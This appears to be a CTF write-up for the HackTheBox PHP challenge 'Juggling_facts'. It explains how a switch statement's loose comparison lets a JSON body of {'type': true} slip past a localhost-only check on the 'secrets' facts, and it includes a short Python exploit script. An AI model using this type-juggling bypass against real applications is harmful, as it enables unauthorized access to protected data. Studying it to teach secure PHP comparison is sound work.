Post

Juggling_facts

banner image

Juggling_facts is a PHP chalenge on Hackthebox

Description:

This challenge allows you to choose between some type of option called facts,
but to access the secret one that contains out FLAG you need to access this site from localhost,
we can’t do that but after some code auditing it was using switch case,
and furtunatly it’s vulnerble to loose comparison.

Source code:

Download source code

zip password: hackthebox

Vulnerable code:

1
2
3
4
5
        if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
        {
            return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
        }
# as you see if the user input equals `secret` and the request didn't come from localhost an error message returned.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 public function getfacts($router)
    {
        $jsondata = json_decode(file_get_contents('php://input'), true);

        if ( empty($jsondata) || !array_key_exists('type', $jsondata))
        {
            return $router->jsonify(['message' => 'Insufficient parameters!']);
        }

        if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
        {
            return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
        }

        switch ($jsondata['type'])
        {
            case 'secrets': // here where the `loose comparison` happenes
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('secrets')
                ]);

            case 'spooky':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('spooky')
                ]);
            
            case 'not_spooky':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('not_spooky')
                ]);
            
            default:
                return $router->jsonify([
                    'message' => 'Invalid type!'
                ]);
        }
    }

to understand more about this issue take a look at switch case manual in php.net.

lose comparison image

so to exploit this take a look at this table provided by PHP manual.

lose comparison table image

As you can see if we have for example case "secret": and we pass true in the option(true) parameter.
it will match the secret because it uses only two equals == not three.

Solve:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

import requests


payload = """
    {
        "type":true
    }
"""
url = 'http://localhost:1337/api/getfacts'
headers = {'Content-Type': 'application/json'}
res = requests.post(url, data=payload, headers=headers)
if res.status_code == 200:
    print(res.text)
else:
    print(res.status)


This post is licensed under CC BY 4.0 by the author.